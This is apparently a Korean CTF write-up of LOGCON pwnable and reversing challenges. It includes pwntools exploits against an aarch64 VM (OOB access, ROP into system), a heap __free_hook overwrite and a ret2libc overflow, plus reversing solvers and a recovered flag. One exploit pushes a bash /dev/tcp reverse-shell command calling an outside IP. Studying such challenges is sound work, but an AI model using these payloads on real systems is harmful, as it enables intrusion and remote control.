출제자가 입문용 arm 문제를 내준다고 해서 arm도 공부할겸 참여했다.
다른 문제들은 모두 넘기고, 포너블과 리버싱 문제만 라이트업을 작성했다.
출제자가 저격해서 arm 인걸 알 수 있었다.
arm 어셈블리어를 몰라서 배우면서 했다.
문법이 좀 많이 다르다. aarch64에서 STR은 Store Register로 BL,B는 x86에서의 call, jmp, LDR은 LOAD Register 정도로 생각하면 된다.
aarch64에서 ret는 x30에서 꺼내오고 pc에 넣는다. mov pc, x30랑 동작이 같다.
RISC라서 x86에서의 csu에서 pop rdi;ret 가젯같이 CISC라서 가능한 거의 고정된 가젯 찾기가 힘들다.
바이너리 내부 가젯말고 libc 가젯을 사용해서 익스플로잇했다.
FROM arm64v8/ubuntu:22.04
RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install -y xinetd
ENV TERM=linux
RUN groupadd pwn
RUN useradd -g pwn pwn
WORKDIR /home/pwn
ADD prob /home/pwn/
COPY ./flag /home/pwn/
ADD pwn /etc/xinetd.d
RUN chmod 460 /home/pwn/*
RUN chown pwn:root /home/pwn/*
RUN chmod +x-w /home/pwn/prob
RUN chmod o-rx *
RUN echo "pwn 10002/tcp" >> /etc/services
CMD ["/usr/sbin/xinetd","-dontfork"]
__int64 sub_4018EC()
{
sub_4007AC();
printf("give binary > ");
dword_412018 = read(0, &code, 0x1000uLL);
exec(&code);
return 0LL;
}
__int64 __fastcall exec(char *code)
{
int v1; // w0
unsigned __int8 v; // [xsp+2Fh] [xbp+2Fh]
IP = 0LL;
sp = 4095LL;
while ( IP < (unsigned __int64)dword_412018 )
{
v = code[IP];
v1 = v >> 4;
if ( v1 == 0xF )
{
if ( (v & 0xF) == 1 ) // MOV REG MEM
{
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] = MEM[Oper_1];
IP += 9LL;
}
else if ( (v & 0xF) == 2 ) // MOV MEM REG
{
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
MEM[Oper_1] = REG[(unsigned __int8)Oper_2];
IP += 9LL;
}
else
{
Oper_2 = code[IP + 1];
Oper_3 = code[IP + 2];
if ( (v & 0xF) == 3 ) // MOV REG MEM[REG]
REG[(unsigned __int8)Oper_2] = MEM[REG[(unsigned __int8)Oper_3]];
else // MOV MEM[REG], REG
MEM[REG[(unsigned __int8)Oper_2]] = REG[(unsigned __int8)Oper_3];
IP += 2LL;
}
}
else
{
if ( (unsigned __int8)(v >> 4) > 0xFu )
goto invalid_instr;
switch ( v1 )
{
case 14:
if ( (code[IP] & 0xF) != 0 ) // je
{
Oper_1 = *(_QWORD *)&code[IP + 1];
if ( byte_412011 )
IP += Oper_1;
if ( (unsigned __int64)IP > 0xFFF ) // ip oob
{
puts("detect oob");
exit(-1);
}
byte_412011 = 0;
IP += 8LL;
}
else
{
Oper_1 = *(_QWORD *)&code[IP + 1];
IP += Oper_1;
if ( (unsigned __int64)IP > 0xFFF )
{
puts("detect oob");
exit(-1);
}
IP += 8LL;
}
break;
case 13: // cmp
Oper_2 = code[IP + 1];
Oper_3 = code[IP + 2];
byte_412011 = MEM[REG[(unsigned __int8)Oper_2]] == MEM[REG[(unsigned __int8)Oper_3]];
IP += 2LL;
break;
case 12: // shl
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] <<= Oper_1;
IP += 9LL;
break;
case 11: // shr
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] >>= Oper_1;
IP += 9LL;
break;
case 10: // or
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] |= Oper_1;
IP += 9LL;
break;
case 9: // and
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] &= Oper_1;
IP += 9LL;
break;
case 8: // xor
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] ^= Oper_1;
IP += 9LL;
break;
case 7: // modular
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] %= (unsigned __int64)Oper_1;
IP += 9LL;
break;
case 6: // div
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] /= (unsigned __int64)Oper_1;
IP += 9LL;
break;
case 5: // mul
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] *= Oper_1;
IP += 9LL;
break;
case 4: // sub
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] -= Oper_1;
IP += 9LL;
break;
case 3: // add
Oper_2 = code[IP + 1];
Oper_1 = *(_QWORD *)&code[IP + 2];
REG[(unsigned __int8)Oper_2] += Oper_1;
IP += 9LL;
break;
case 1: // PUSH
if ( (unsigned __int64)sp > 0xFFF )
{
puts("detect oob");
exit(-1);
}
if ( (code[IP] & 0xF) != 0 ) // PUSH IMM
{
Oper_1 = *(_QWORD *)&code[IP + 1];
STACK[sp--] = Oper_1;
IP += 8LL;
}
else // PUSH R
{
Oper_2 = code[IP + 1];
STACK[sp--] = REG[(unsigned __int8)Oper_2];
++IP;
}
break;
case 2: // POP
if ( (unsigned __int64)sp > 0xFFF )
{
puts("detect oob");
exit(-1);
}
Oper_2 = code[IP + 1];
REG[(unsigned __int8)Oper_2] = STACK[++sp];
++IP;
break;
default:
invalid_instr:
puts("invaild instruction");
close(0);
close(1);
return close(2);
}
}
++IP;
}
close(0);
close(1);
return close(2);
}
arm VM이다.
기능은 생각보다 꽤 많다.
sp와 ip는 OOB 검증을 하는데, mem에 접근할때 operand에 대해서는 검증하지 않는다.
OOB를 트리거할 수 있고, PIE가 걸려있지 않아서 바이너리 주소가 고정이다.
그래서 aaw도 가능하디.
(addr - mem_offset)/8 을 내부적으로 연산해서 MEM[REG]로 참조하게하면, aar이 가능하고, 반대로 aaw도 가능하다.
마지막에 0,1,2가 close 되서 리버스쉘이 필요하다.
인텐은 mprotect로 rwx주고, 쉘코드 실행이였지만, bash의 /dev/tcp를 통해서 꼼수를 사용할 수 있었다.
bash에서 내부적으로 /dev/tcp /dev/udp 같은 기능을 지원한다.
bash가 남아있어서 /dev/tcp로 딸 수 있다.
bash -c 'exec 100<>/dev/tcp/127.0.0.1/1234 ; cat <&100 | while read line; do $line 2>&100 >&100; done'`
스택에 위 문자열을 push하고 ROP로 x0에 주소를 집어넣고 system을 부르면 된다.
puts got를 레지스터에 넣고 내부적인 연산으로 base를 구해준다.
stack의 return address를 덮을것이기 때문에, base에서 offset 더해서 __environ 주소를 만들어주고, (addr - mem_offset)/8로 계산해서 environ을 레지스터 넣어주면 스택 주소를 얻을 수 있다.
스택주소를 얻었으면, return address를 가리키도록 잘 연산해주고 나서, 덮어버리면 된다.
바이너리 가젯은 쓸게 없기 때문에, libc의 가젯을 이용한다.
ropper로 긁어보면 다음 가젯을 찾을 수 있다.
ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
ldr은 pop 같은 느낌이고, x0에 sp+0x18를 넣는다.
x30을 컨트롤해주면, ret할때 pc를 컨트롤할 수 있다.
이걸로 system으로 돌려주면 된다.
from pwn import *
ldrx0_off = 0x0000000000069500 #ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
e = ELF('./prob')
environ_off = 0x00000000001a3558
puts_off = 0x000000000006ae70
sys_offset= 0x000000000046d94
mem_off = 0x413028
def push(val : bytes) -> bytes:
pay = b'\x11'+val.ljust(8,b'\x00')
return pay
def access_mem(src_reg_idx : int,output_reg_idx : int) -> bytes:
global mem_off
pay = b''
pay += b'\x40'+ p8(src_reg_idx) + p64(mem_off) # sub r off
pay += b'\x60'+ p8(src_reg_idx) + p64(0x8) # div r 0x8
pay += b'\xf3' + p8(output_reg_idx) + p8(src_reg_idx) # MOV REG MEM[REG]
return pay
def write_mem(mem_reg : int,reg : int) -> bytes:
global mem_off
pay = b''
pay += b'\x40'+ p8(mem_reg) + p64(mem_off) # sub r off
pay += b'\x60'+ p8(mem_reg) + p64(0x8)
pay += b'\xf4' + p8(mem_reg) + p8(reg) # write mem
return pay
#p = process('./prob')
#p=process(["qemu-aarch64-static","-L", "/usr/aarch64-linux-gnu","-E","LD_PRELOAD='./libc'","-g","31338","./prob"])
p = remote('3.235.168.40',10002)
pay = b'\x40\x01' + p64(0x215) # sub r1 0x215
pay += b'\xf3\x02\x01' # mov r2, mem[r1] -> puts
pay += b'\x40\x02'+p64(puts_off)
pay += b'\x10\x02' # push r2
pay += b'\x20\x01' # pop r1
pay += b'\x10\x02' # push r2
pay += b'\x20\x00' # pop r0
pay += b'\x10\x02' # push r2
pay += b'\x20\x03' # pop r3
# setting r0, r1, r2, r3 -> libc base
pay += b'\x30\x00'+p64(sys_offset) # r0 -> system
pay += b'\x30\x01'+p64(ldrx0_off) # r1 -> ldrx0
pay += b'\x30\x02'+p64(environ_off) # r2 -> environ
# # leak stack
pay += access_mem(2,2) # r2 -> stack address
pay += b'\x40\x02' + p64(0x1e0)
# r0 - sys, r1 - ldrx0, r2 - stack ret, r3 -> libc base
# revsh push
cmd = "bash -c 'exec 100<>/dev/tcp/125.177.159.27/9999 ; cat <&100 | while read line; do $line 2>&100 >&100; done'"
#cmd = "bash -c 'exec 100<>/dev/tcp/192.168.219.100/9999 ; cat <&100 | while read line; do $line 2>&100 >&100; done'"
cnt = 0
cm = b''
al = []
for i in cmd:
if cnt == 8:
cnt = 0
al.append(push(cm))
cm =b''
cm += i.encode()
cnt += 1
al.append(push(b"ne'"))
for i in al[::-1]:
pay += i
#pay += b'\x11'+b'touch a\x00' #Test
# make rev_sh_ent
pay += b'\x30\x04'+p64(0x423000) # payload start
#pay += b'\x30\x04'+p64(0x423068) # TEST
# #overwrite ret
pay += write_mem(2, 1) # ldrx0 #ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
pay += b'\x30\x02' + p64(6) # add 0x40
pay += b'\xf4\x02\x00' # write x30 sys
pay += b'\x30\x02' + p64(2) # add 0x40
pay += b'\xf4\x02\x04' # write revsh entr
pause()
p.sendafter(b'give binary > ',pay)
p.interactive()
환경이 안맞아서 docker build하고 qemu-user-static 깔고 gdb-multiarch로 디버깅하니까 제대로 할 수 있었다.
nc -lvp 9999로 포트 열어주고 받으면 된다.
무섭게 생기기만 했다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t size; // [rsp+8h] [rbp-28h] BYREF
__int64 v5; // [rsp+10h] [rbp-20h] BYREF
void *buf; // [rsp+18h] [rbp-18h]
void *ptr; // [rsp+20h] [rbp-10h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
init();
printf("name size : ");
__isoc99_scanf("%llu", &size);
buf = malloc(size);
printf("name : ");
read(0, buf, size);
printf("gift : %p\n", buf);
printf("data size : ");
__isoc99_scanf("%llu", &size);
ptr = malloc(size);
printf("start data : ");
__isoc99_scanf("%llu", &v5);
printf("data : ");
read(0, (char *)ptr + v5, 8uLL);
free(buf);
free(ptr);
return 0;
}
malloc 두번해준다.
sysmalloc mmap으로 libc leak하고 free hook got 덮어주면 된다.
환경 안맞으면 strings로 뽑고 버전찾아서 빌드하면 된다.
from pwn import *
e = ELF('./prob')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
#p = process('./prob')
p = remote('ctf.teamlog.kr',10001)
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
rvu= lambda x: p.recvuntil(x)
sla(b':',str(0x40000))
sa(b'name : ',b'/bin/sh')
rvu(b'0x')
libc_base = int(p.recvline()[:-1],16) + 0x40ff0
success('libc : '+hex(libc_base))
pause()
sla(b'data size : ',str(0x40000))
sla(b'start data : ',str(0x81ff0 + libc.sym.__free_hook))
sa(b'data : ',p64(libc_base + libc.sym.system))
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[256]; // [rsp+0h] [rbp-100h] BYREF
init(argc, argv, envp);
memset(s, 0, sizeof(s));
puts("Simple bof pwn");
gets(s);
return 0;
}
별거 없다.
from pwn import *
e= ELF('./prob')
lib = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
#p = process('./prob')
p = remote('ctf.teamlog.kr',10000)
prdi = 0x00000000004012c3
prsir15=0x00000000004012c1
pay = b'A'*0x100
pay += p64(0)
pay += p64(prdi)
pay += p64(e.got.gets)
pay += p64(e.plt.puts)
pay += p64(0x4011fb)
p.sendline(pay)
p.recvuntil(b'Simple bof pwn\n')
libc = u64(p.recvline()[:-1].ljust(8,b'\x00')) -lib.sym.gets
sys = libc + lib.sym.system
bin_sh = libc + 0x1b45bd
success('libc : '+hex(libc))
pay = b'A'*0x100
pay += p64(0)
pay += p64(0x401253)
pay += p64(prdi)
pay += p64(bin_sh)
pay += p64(sys)
p.sendline(pay)
p.interactive()
그냥 따면 된다.
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int i; // [rsp+Ch] [rbp-44h]
char key[40]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v6; // [rsp+38h] [rbp-18h]
v6 = __readfsqword(0x28u);
std::string::basic_string(key, a2, a3);
std::operator<<<std::char_traits<char>>(&std::cout, "Input key : ");
std::operator>><char>(&std::cin, key);
for ( i = 0; i <= 39; ++i )
{
if ( (b_0[i] ^ *(char *)std::string::operator[](key, i)) != b_1[i] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "fail...\n");
goto LABEL_7;
}
}
std::operator<<<std::char_traits<char>>(&std::cout, "Correct!!\n");
LABEL_7:
std::string::~string(key);
return 0LL;
}
간단하다.
b_0 = [82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
b_1 = [30, 70, 45, 150, 127, 120, 222, 0, 141, 112, 151, 250, 185, 194, 229, 202, 69, 210, 0, 181, 162, 23, 153, 225, 5, 232, 114, 124, 165, 188, 223, 169, 53, 72, 240, 1, 192, 246, 65, 64]
key = [x for x in range(40)]
for i in range(40):
key[i] = b_1[i] ^ b_0[i]
for i in key:
print(chr(i),end='')
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
int k; // [rsp+Ch] [rbp-44h]
int j; // [rsp+10h] [rbp-40h]
int i; // [rsp+14h] [rbp-3Ch]
int v8; // [rsp+18h] [rbp-38h]
char __b[40]; // [rsp+20h] [rbp-30h] BYREF
memset(__b, 0, 0x1EuLL);
dword_100008018 = 0x7D;
dword_100008058 = 0x65;
dword_100008008 = 0x45;
dword_10000803C = 0x79;
dword_100008044 = 0x52;
dword_100008034 = 0x61;
dword_100008030 = 0x49;
dword_100008068 = 0x67;
dword_100008004 = 0x4F;
dword_100008064 = 0x67;
encoded[0] = 0x4C;
dword_100008028 = 0x73;
dword_100008054 = 0x72;
dword_100008014 = 0x4E;
dword_10000804C = 0x76;
dword_10000805C = 0x31;
dword_100008048 = 0x77;
dword_100008038 = 0x3D;
dword_10000801C = 0x76;
dword_10000800C = 0x43;
dword_100008024 = 0x52;
dword_100008040 = 0x4F;
dword_100008010 = 0x4B;
dword_10000802C = 0x5F;
dword_100008020 = 0x6D;
dword_100008050 = 0x71;
dword_100008060 = 0x76;
printf("Input: ");
scanf("%s", __b);
v8 = 1;
for ( i = 0; i < 27; ++i )
{
for ( j = 0; j < i; ++j )
__b[j] ^= j;
__b[i] ^= i;
}
for ( k = 0; k < 27; ++k )
{
if ( __b[k] != encoded[k] )
{
v8 = 0;
break;
}
}
v3 = "Wrong!";
if ( v8 )
v3 = "Correct!";
puts(v3);
return v8;
}
#include<stdio.h>
int main(){
int arr[]={0x4C,0x4F,0x45,0x43,0x4B,0x4E,0x7D,0x76,0x6D,0x52,0x73,0x5F,0x49,0x61,0x3D,0x79,0x4F,0x52,0x77,0x76,0x71,0x72,0x65,0x31,0x76,0x67,0x67};
for (int i=0;i<27;++i){
arr[i] ^= i;
for(int j=i;j>=0;j--){
arr[j-1] ^= j-1;
}
}
for (int i=0;i<27;++i){
printf("%c",arr[i]);
}
}
__int64 __fastcall COsegusegu_(unsigned int a1)
{
__int64 v2; // rax
__int64 v3; // [rsp+18h] [rbp-1048h] BYREF
__int64 v4; // [rsp+20h] [rbp-1040h] BYREF
__int64 v5; // [rsp+28h] [rbp-1038h]
__int64 v6; // [rsp+30h] [rbp-1030h]
__int64 *v7; // [rsp+38h] [rbp-1028h]
__int64 v8[3]; // [rsp+40h] [rbp-1020h] BYREF
char v9; // [rsp+58h] [rbp-1008h] BYREF
__int64 v10; // [rsp+60h] [rbp-1000h] BYREF
int v11; // [rsp+68h] [rbp-FF8h]
unsigned __int64 v12; // [rsp+1058h] [rbp-8h]
v12 = __readfsqword(0x28u);
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
if ( (a1 & 0x80000000) == 0 )
{
if ( (unsigned int)cob_module_global_enter(&module_7220, &v3, 0LL, a1, 0LL) )
{
return 0xFFFFFFFFLL;
}
else
{
*(_QWORD *)(module_7220 + 8) = &v9;
v7 = &v10;
v11 = 0;
if ( !initialized_7219 )
{
cob_check_version();
cob_module_path = *(_QWORD *)(v3 + 48);
*(_QWORD *)(module_7220 + 16) = "COsegusegu";
*(_QWORD *)(module_7220 + 24) = "Jan 08 2023 21:10:40";
*(_QWORD *)(module_7220 + 32) = "COsegusegu.cbl";
*(_QWORD *)(module_7220 + 40) = COsegusegu;
*(_QWORD *)(module_7220 + 48) = COsegusegu_;
*(_QWORD *)(module_7220 + 56) = 0LL;
*(_QWORD *)(module_7220 + 64) = 0LL;
*(_QWORD *)(module_7220 + 72) = 0LL;
*(_QWORD *)(module_7220 + 80) = 0LL;
*(_QWORD *)(module_7220 + 88) = &cob_module_path;
*(_DWORD *)(module_7220 + 96) = 0;
*(_DWORD *)(module_7220 + 100) = '\x014\xAF\xDC';
*(_DWORD *)(module_7220 + 104) = 211040;
*(_DWORD *)(module_7220 + 108) = 0;
*(_DWORD *)(module_7220 + 112) = 0;
*(_DWORD *)(module_7220 + 116) = 0;
*(_BYTE *)(module_7220 + 124) = 0;
*(_BYTE *)(module_7220 + 125) = 46;
*(_BYTE *)(module_7220 + 126) = 36;
*(_BYTE *)(module_7220 + 127) = 44;
*(_BYTE *)(module_7220 + 128) = 1;
*(_BYTE *)(module_7220 + 129) = 1;
*(_BYTE *)(module_7220 + 130) = 1;
*(_BYTE *)(module_7220 + 131) = 0;
*(_BYTE *)(module_7220 + 132) = 1;
*(_BYTE *)(module_7220 + 133) = 1;
*(_BYTE *)(module_7220 + 134) = 0;
*(_BYTE *)(module_7220 + 135) = 0;
cob_set_cancel(module_7220);
b_2_7229 = 0;
memset(&b_6_7230, 32, 0x23uLL);
memset(&b_7_7231, 48, 0xAuLL);
memset(&b_8_7232, 48, 0xAuLL);
b_9_7233 = 12592;
dc_1 = (__int64)&kc_1;
cob_decimal_init(&kc_1);
cob_decimal_set_field(dc_1, &c_1);
initialized_7219 = 1;
}
cob_decimal_alloc(1LL, &v4);
++*(_DWORD *)(module_7220 + 96);
cob_display();
cob_display();
cob_display();
cob_accept(&f_6_7234);
v5 = 35LL;
v7 += 2;
*((_DWORD *)v7 + 2) = 6;
*v7 = (__int64)&loc_17E7;
v8[0] = (int)cob_get_numdisp(&b_9_7233, 2LL);
v8[1] = (__int64)&b_6_7230 + (int)cob_get_int(&f_9_7237) - 1;
v8[2] = (__int64)&a_3;
v2 = cob_intr_ord(v8);
cob_decimal_set_field(v4, v2);
cob_decimal_sub(v4, dc_1);
cob_decimal_get_field(v4, &f_7_7235, 0LL);
cob_mul();
cob_mul();
cob_add_int(&f_7_7235, 79LL, 0LL);
cob_mul();
qmemcpy(&b_8_7232, "0000000069", 10);
cob_mul();
cob_sub(&f_7_7235, &f_8_7236, 0LL);
cob_mul();
v6 = 85LL;
v7 += 2;
*((_DWORD *)v7 + 2) = 7;
*v7 = (__int64)&loc_1843;
cob_sub_int(&f_7_7235, 25LL, 0LL);
if ( *((_DWORD *)v7 + 2) == 7 )
__asm { jmp rax }
if ( *(_DWORD *)(module_7220 + 96) )
--*(_DWORD *)(module_7220 + 96);
cob_module_leave(module_7220);
return (unsigned int)b_2_7229;
}
}
else
{
if ( a1 != -20 )
{
if ( !initialized_7219 )
return 0LL;
if ( *(_DWORD *)(module_7220 + 96) )
cob_fatal_error(1LL);
initialized_7219 = 0;
}
cob_decimal_clear(dc_1);
dc_1 = 0LL;
return 0LL;
}
}
LOGCON{**redacted**}
output
2416669250
2611226645
2109143045
1878184589
2611226645
2545537374
6329992509
2291148350
2291148350
3936727349
5062649822
4438810949
3936727349
4880226114
4880226114
4268102525
3776060597
5533353197
4268102525
4438810949
5727492189
5533353197
4268102525
4438810949
5727492189
3776060597
4880226114
5533353197
3776060597
2353490397
4612866597
5062649822
4438810949
3936727349
6537520397
벌써 어지럽다.
몇번 해보니까 1바이트씩 연산된다.
1바이트씩 연산되니까 그냥 브포해도 될거같다.
from pwn import *
import string
pr = string.printable
data =['2416669250', '2611226645', '2109143045', '1878184589', '2611226645', '2545537374', '6329992509', '2291148350', '2291148350', '3936727349', '5062649822', '4438810949', '3936727349', '4880226114', '4880226114', '4268102525', '3776060597', '5533353197', '4268102525', '4438810949', '5727492189', '5533353197', '4268102525', '4438810949', '5727492189', '3776060597', '4880226114', '5533353197', '3776060597', '2353490397', '4612866597', '5062649822', '4438810949', '3936727349', '6537520397']
data =[x.encode() for x in data]
cnt=32
flag =[]
while True:
for i in pr:
p = process('./COsegusegu')
brute = i.encode()
p.sendlineafter('Input: \n',brute)
if data[cnt]==p.recvline()[:-1]:
cnt += 1
flag.append(i)
print(flag)
# LOGCON{JJangalle_segusegu_ls_Kinga}
cnt 늘리면서 해주면 나온다.
// write access to const memory has been detected, the output may be wrong!
unsigned __int64 init()
{
unsigned int i; // [rsp+0h] [rbp-3A0h]
int j; // [rsp+4h] [rbp-39Ch]
_BYTE *v3; // [rsp+8h] [rbp-398h]
__int64 v4[4]; // [rsp+10h] [rbp-390h]
char v5[872]; // [rsp+30h] [rbp-370h] BYREF
unsigned __int64 v6; // [rsp+398h] [rbp-8h]
v6 = __readfsqword(0x28u);
v3 = mmap((void *)0x13370000, 0x1000uLL, 7, 34, -1, 0LL);
qmemcpy(v5, &unk_402120, 0x363uLL);
v4[0] = 0xB0F52AAE4D3BE0A0LL;
v4[1] = 0x619953833CBBEBC8LL;
v4[2] = 0x26D677BA7E042B17LL;
v4[3] = 0x7D0C2155631469E1LL;
for ( i = 0; i <= 0x362; ++i )
v3[i] = v5[i];
for ( j = 0; j <= 31; ++j )
v3[j + 0x500] = *((_BYTE *)v4 + j);
off_404038 = v3;
return __readfsqword(0x28u) ^ v6;
}
init에다 장난질 쳐놨다.
malloc got를 덮어놓았다.
mov rbp,rsp
sub rsp,0x8
mov rdi,0x13370500
mov DWORD PTR [rbp-0x8],0x0
mov ecx,DWORD PTR [rbp-0x8]
add r15,0x2
add rcx,r15
and rcx,rcx
sub rcx,r15
xor r15,r15
or rcx,rcx
or rcx,r15
mov al,BYTE PTR [rdi+rcx*1]
inc cl
xor al,cl
dec cl
mov BYTE PTR [rdi+rcx*1],al
inc ecx
mov DWORD PTR [rbp-0x8],ecx
cmp DWORD PTR [rbp-0x8],0x20
jne 0x133700ca
mov rax,0x13370500
add rsp,0x8
leave
ret
직접 분석해보면 그냥 xor 한다는 것을 알 수 있다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char a1[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("baby rev zzlol");
printf("key : ");
__isoc99_scanf("%32s", a1);
if ( (unsigned int)check(a1) )
puts("Incorrect");
else
puts("Correct");
exit(0);
}
__int64 __fastcall check(char *a1)
{
int i; // [rsp+1Ch] [rbp-34h]
__int64 v3[6]; // [rsp+20h] [rbp-30h]
v3[5] = __readfsqword(0x28u);
crypt((__int64)a1);
v3[0] = 0x30A0EABD1A5FD21BLL;
v3[1] = 0xD7F739945E39A5F2LL;
v3[2] = 0x2F9FC2E0631C57E1LL;
v3[3] = 0x76CB3A5B78736EC7LL;
for ( i = 0; i <= 31; ++i )
{
if ( a1[i] != *((_BYTE *)v3 + i) )
return 1LL;
}
return 0LL;
}
__int64 __fastcall crypt(char *a1)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
first(a1);
second(a1);
result = final(a1);
}
return result;
}
__int64 __fastcall first(char *a1)
{
__int64 result; // rax
int i; // [rsp+14h] [rbp-4h]
for ( i = 0; i <= 31; ++i )
{
result = sbox[(unsigned __int8)a1[i]];
a1[i] = result;
}
return result;
}
_BYTE *__fastcall second(__int64 a1)
{
_BYTE *result; // rax
int i; // [rsp+14h] [rbp-4h]
for ( i = 0; i <= 30; ++i )
{
result = (_BYTE *)(i + a1);
*result ^= *(_BYTE *)(i + 1LL + a1);
}
return result;
}
char *__fastcall final(char *a1)
{
char *result; // rax
int i; // [rsp+14h] [rbp-Ch]
char *v3; // [rsp+18h] [rbp-8h]
result = (char *)malloc(0x20uLL);
v3 = result;
for ( i = 0; i <= 31; ++i )
{
result = &a1[i];
*result ^= v3[i];
}
return result;
}
#include <stdio.h>
int r;
long long mllc_v[5];
unsigned char sbox[] = {99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22};
long long * mllc(){
for(int i=0;i<=0x20;i++){
*((unsigned char *)mllc_v+i) ^= i+1;
}
return mllc_v;
}
int final(unsigned char * a1){
mllc_v[0] = 0xb0f52aae4d3be0a0;
mllc_v[1] = 0x619953833cbbebc8;
mllc_v[2] = 0x26d677ba7e042b17;
mllc_v[3] = 0x7d0c2155631469e1;
if(r%2==0)
mllc();
for(int i=31;i>=0;i--){
a1[i] ^= *(char * )((char * )mllc_v + i);
}
}
int second(unsigned char * a1){
for(int i=30;i>=0;i--){
a1[i] ^= a1[i+1];
}
}
int first(unsigned char * a1){
unsigned char idx=0;
for(int i=31;i>=0;i--){
for(unsigned char j=0;j<=0xff;j++){
if (sbox[j] == a1[i]){
idx = j;
break;
}
}
a1[i] = idx;
}
}
int main(){
long long a1[4];
a1[0] = 0x30A0EABD1A5FD21B;
a1[1] = 0xD7F739945E39A5F2;
a1[2] = 0x2F9FC2E0631C57E1;
a1[3] = 0x76CB3A5B78736EC7;
for(int i=9;i>=0;i--){
r = i;
final((unsigned char *)a1);
second((unsigned char *)a1);
first((unsigned char *)a1);
}
for(int i=0;i<=31;i++){
printf("%c",*((char * )a1+i));
}
}